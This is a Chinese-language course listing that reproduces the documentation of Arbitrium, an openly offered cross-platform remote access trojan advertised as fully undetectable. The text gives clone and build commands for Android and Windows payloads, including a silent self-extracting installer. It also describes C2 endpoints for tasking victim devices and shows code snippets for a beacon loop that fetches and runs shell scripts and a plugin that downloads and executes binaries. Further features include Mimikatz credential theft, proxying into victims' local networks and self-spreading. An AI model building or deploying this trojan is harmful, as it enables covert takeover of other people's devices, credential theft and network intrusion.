图文 一种跨平台、完全无法检测的远程访问木马

课程时长 13秒

学习期限 36个月 退款期限 不支持

优惠价格 免费 会员价格 免费

难度级别 初级 学习人次 50 综合评分 5.0

内容实用 5.0分

简洁易懂 5.0分

逻辑清晰 5.0分

50
0
0
  • 详情
  • 目录

关于:

Arbitrium 是一个跨平台的远程访问木马 (RAT),完全无法检测 (FUD),它允许您控制 Android、Windows 和 Linux,并且不需要任何防火墙例外或端口转发。它提供对本地网络的访问权限,您可以将目标用作 HTTP 代理并访问路由器,发现本地 IP 并扫描其端口。包括 Mimikatz 等模块,可以轻松添加新模块。此外,如果 Arbitrium 与 DNS 欺骗软件一起使用,则可以在设备之间自主传播 (#AutoSpread)。Arbitrium 是一个由多个部分组成的项目,这些部分是使用 Java、JS、C、Python、Cordova 和 VueJS 构建的。

演示: https: //youtu.be/7KlPPND2b0g

演示视频

特征:

  • 恐惧症

客户端使用简单的工具使其完全无法检测到,基于 netcat 的木马主要通过管道传输 TCP paquets 来运行服务器的命令。

  • 防火墙

Arbitrium 不需要添加防火墙例外或端口转发规则。服务器是一个带有端点的 API,它接收特定目标的任务和木马定期请求的其他目标以获取新指令,指令可以是 JavaScript 文件(Android 应用程序是使用 Cordova 制作的)或要在其中运行的 Shell 文件终端/CMD。一旦服务器收到设备的任务,前者会安排任务,然后打开一个子进程,通过侦听专用的临时端口等待木马的响应。因此,木马不需要监听任何端口。

  • 电池优化/隐身模式

与 Stock Android 不同,小米的 MIUI、华为的 EMUI 或三星的 Android Pie 等自定义忽略了用户为应用程序提供的权限/例外。因此,如果您尝试在后台运行 Android 木马,当应用程序开始运行频繁或繁重(在某些情况下甚至是轻量级)任务(例如:定期发送 http 请求)时,无论用户授予什么权限,它都会被杀死,该操作系统完全忽略了当前设置,dontkillmyapp.com 是专门针对此特定问题的知名网站。

在处理这个项目时,上述问题非常烦人,一段时间后,我发现构建一个轻量级二进制文件,它在后台继续运行分配的任务,而 MainActivity 在启动二进制文件后就保持静止,似乎绕过了大多数限制,实际上什至改进了应用程序的性能。

MainActivity 从服务器接收一个 JS 文件并用于 ThreadPoolExecutor 启动二进制文件而不挂起它退出(更多关于这个StealthMode/BatteryBypass)。

  • 网页界面

还有一个控制面板,它不是必需的,而是一个扩展,它是一个简单的 VueJS web 应用程序,一个 UI,您可以使用它来控制目标,而不是直接向 API 发送请求。该网络应用程序可在此处获得:Arbitrium WebApp

要求

  1. 安卓客户端
Java ver ...
Cordova
Android SDK & NDK
  1. Windows/Linux 客户端
Python3.6 (or newer)
PyInquirer
Winrar (Windows only)

建造

⚠️首先使用 setAPI_FQDN.sh 在所有文件中设置服务器域/IP

克隆回购:

git clone https://github.com/BenChaliah/Arbitrium-RAT.git --recursive

  1. 安卓
$ cd ArbitriumClients/AndroidApp/ClientApp/
$ cordova build android
$ cd ../StealthMode/
$ make clean && make build

里面的二进制文件 /libs 被剥离,所以如果你不调试,建议使用这些。

  1. 视窗
$ cd ArbitriumClients\WindowsApp
$ pyinstaller --onefile runFrame.py
$ copy Client_tools\toolbox.exe dist\
$ copy Client_tools\SFXAutoInstaller.conf dist\
$ copy Client_tools\start_script.vbs dist\
$ cd dist
$ {Rar_abspath} a -r -cfg -sfx -z"SFXAutoInstaller.conf" Standalone.exe

成分

  1. 服务器接口

⚠️为 Android 构建的二进制文件应该放在里面 /assetsbinary_{cpuabi} 将它们 /data/data/package_name 重命名为 window.MyOrangePlugin.exec("/system/bin/ln -s ...

$ pip install flask flask_cors && ./runserver.sh # Python2.7

├── runserver.sh
	├── main.py
	├── reverse_http.py
	├── initProxy.py
	│
	├── assets (src: ArbitriumClients/AndroidApp/StealthMode)
	│   ├── runFrame_arm64-v8a
	│   ├── toolbox_arm64-v8a
	│   ├── ... (x86, x86_64, armeabi-v7a)
	│
	│
	├── JS_scripts
	│   ├── checkupdate.js
	│   ├── init.js
	│   ├── runshell.js
	│   └── StealthMode.js
	│
	├── misc
	│
	├── modules
	│   ├── discover.py
	│   ├── mimikatz.py
	│   ├── ports.py
	│   └── runCMD.py
	│
	└── threads

端点

⚠️API 的响应可能因运行木马的设备平台而异。以下部分主要探讨 Android 的情况,因为由于操作系统的限制,它是最复杂的。

  • [获取] /checkupdate.js

当客户端向端点发送第一个请求时 /checkupdate.js,服务器创建一个 genShell 对象,该对象为该设备设置一个唯一的本地端口 self.lport = self.setPort() 和一个线程 ID self.threaduid = random.randint 以及其他属性。然后返回适当的 JavaScript 代码(取决于 CPU/ABI),其中包含下载、chmod 和执行(主线程或 poolexec)一些资源的指令。至于下面的请求,它返回一个 JS 代码,如果有的话,它将执行未完成的任务。

runCMD 一种方法是 genShell 编写我们希望木马运行的 shell 脚本到里面的一个文件中 /assets,稍后由客户端下载,然后使用 netcat 监听响应并将其通过管道传递到一个文件中 /threads

示例​:假设您想将目标用作 HTTP 代理,API 将请求制定为以下 cmd:

echo -e "GET / HTTP/1.1\r\nHost: 192.168.1.1\r\nConnection: close\r\n\r\n" | {abspath_toolbox/ncat} {API_HOST_IP} {lport} -w 10;\r\n

然后保存到 assets/runsh_{uid_task}.sh,然后根据请求是否来自 StealthMode/BatteryBypass,/checkupdate.js 让木马下载 shell 文件并运行。

>>> Popen("exec $(nc -l 0.0.0.0 -p {lport} -dN > {task_filename})" shell=True, close_fds=True, ...)
  • [获取] /添加任务

使用适当的令牌,管理员可以让设备通过此端点运行命令,服务器会将此命令描述为待处理, /checkupdate.js 将影响对该设备的下一个响应。然后它会为这个任务返回一个随机生成的 id。

  • [获取] /ping 任务

/addtask 生成的任务 ID 和上述线程 ID 的组合构成了保存命令输出的 threaduid 文件名。/threads 一旦请求此端点,它会检​​查是否 /threads/{threaduid}x{taskid} 存在,如果存在,则服务器返回文件的内容,否则返回 0。

  • [GET] /runproxy & /pushproxy

这将 reverse_http.py 在一个单独的屏幕中运行,然后返回一个 IP:PORT(HTTP 代理),这将允许管理员通过木马设备传递 HTTP 请求。例如,如果管理员在浏览器设置中设置这些信息并尝试打开路由器端口(例如:)http://192.16...,浏览器将打开路由器 Web 界面,就好像管理员是目标 LAN 的一部分一样。

  1. 客户端/木马(​Android​):该应用程序是使用 Cordova 构建的,因为它的简单性和对跨平台开发的支持。这个应用程序中继两个主要部分

    1. netbolt 橙色插件​:

      这是我制作的一个 cordova 插件,它包含一些我们可以调用的函数 index.html,通过下载的脚本 /checkupdate.js 主要使用这些方法来运行分配的任务

      • exec() : 执行 shell cmd 然后返回 cmd 输出,它在 UI 线程上运行

      • poolexec()​:与'exec()'相同,但是这个使用了所以 ThreadPoolExecutor 应用程序可以在不阻塞主线程的情况下运行 cmd,当输出准备好时,它通过具有退出状态的回调发送

      • download()​:这个用于下载 API 或管理员可能想要或需要执行任务的任何资源

    示例​:木马首先请求 /checkupdate.js,假设这是一部 Android 手机,我们想要启动StealthMode/BatteryBypass以避免被杀死(电池优化......),然后 API 响应如下:

    function sfunc1(){
        window.MyOrangePlugin.download([{Link for ELF} ...], function(res){
            sfunc2(...);
        });
    }
    function sfunc2(...){
        window.MyOrangePlugin.exec("chmod ... ", function(res){
        	sfunc3(...);
        });
    }
    function sfunc3(...){
        window.MyOrangePlugin.poolexec({Here we start the binary the will keep interacting with the API}, function(res){
        	...
        });
    }
    

    该应用程序还使用了一个稍微定制的 Cordova 后台模式插件版本。

    1. 隐身模式​:
      • runFrame.c​:这是一个简单的 C 程序,每隔几秒通过套接字向 API 发送 HTTP 请求,将响应保存到 shell 文件,然后进行系统调用以运行它。

      • toolbox.c​:这是一个独立的 netcat

    生成的二进制文件是静态链接的,以确保稳定性和路径独立性。runFrame 使用而不是仅仅在 index.html 中运行 JS 循环的重要性不仅限于前面解释的电池问题,而且还出于性能原因。使用此模式的应用程序使用的资源更少并且更可靠。 runFrame 请求的频率默认设置为 5 秒,但它可以通过 API 进行操作(当没有预定的命令时,服务器会通过将其 sleep 30 作为响应自动降低速度),因此,当管理员控制设备时或者将其用作代理,许多任务将被安排,并且每个任务之间的延迟不会很明显,否则我们不希望客户端继续发送频繁的请求,这会使它引人注目并消耗资源。

    ⚠️API 识别请求是否来自 User-Agent: JustKidding 的这种模式,因此响应是 /checkupdate.js 兼容的。此外,只有在手机连接到 Wlan 时才会发出 HTTP 请求,这有两个主要原因,第一个是操作系统将停止的数据移动消耗,第二个是自主传播能力(#AutoSpread)

    // void bzero(void *s, size_t n);
    #define bzero(s, n) memset((s), 0, (n))
    ...
    strcat(reque, "&token=updated HTTP/1.1\r\nHost: {API_Host}\r\nUser-Agent: JustKidding\r\nConnection: close\r\n\r\n");
    char *routing = "ip route | grep wlan";
    ...
    while (1){
    	routingSTAT = system(routing);
    	// grep exit status will only equal 0 if a wlan interface was listed
    	if (routingSTAT==0){
    		fd = socket_connect(argv[1], atoi(argv[2])); 
    		write(fd, reque, strlen(reque));
    		bzero(buffer, BUFFER_SIZE);
    		...
    		}
    
  2. 客户端/特洛伊木马 ( Windows/Linux ):与这里的 android 不同,一个简单的 python 脚本就可以了。此外,Windows 版本配备了一个 VBA 脚本和 SFX 来制作一个静默的自动安装程序,木马将只是一个独立的可执行文件,在将其内容提取到 %TEMP% 后在后台运行。

截图

  1. HTTP 代理: 代理.png
  2. 电源外壳: powershell.png
  3. 端口扫描仪: 端口扫描.png

第一章 下载方法